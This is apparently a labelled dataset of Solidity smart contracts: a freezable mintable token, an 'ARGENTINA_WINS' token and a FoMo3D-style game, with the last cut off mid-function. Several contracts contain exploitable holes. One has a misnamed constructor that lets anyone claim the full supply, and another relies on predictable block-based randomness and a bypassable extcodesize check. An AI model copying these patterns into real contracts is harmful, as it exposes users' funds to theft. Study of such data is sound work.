event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Vietnam Real Estate Crypto";
string public constant TOKEN_SYMBOL = "BDS coin";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xbCFcB0299071Dc5f22176c17C1A2A67BA315D8a8;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xbCFcB0299071Dc5f22176c17C1A2A67BA315D8a8)];
uint[1] memory amounts = [uint(10000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,639 |
pragma solidity ^0.4.21 ;
contract ARGENTINA_WINS {
mapping (address => uint256) public balanceOf;
string public name = " ARGENTINA_WINS " ;
string public symbol = " ARGWI " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 126984335437902000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,040 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularFast is F3Devents {}
contract FoMo3Dfast is modularFast {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcFast for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x91e047c728BD71047ea30372456444239c76e341);
address private admin = msg.sender;
string constant public name = "FOMO Fast";
string constant public symbol = "FAST";
uint256 private rndExtra_ = 10 minutes;
uint256 private rndGap_ = 10 minutes;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
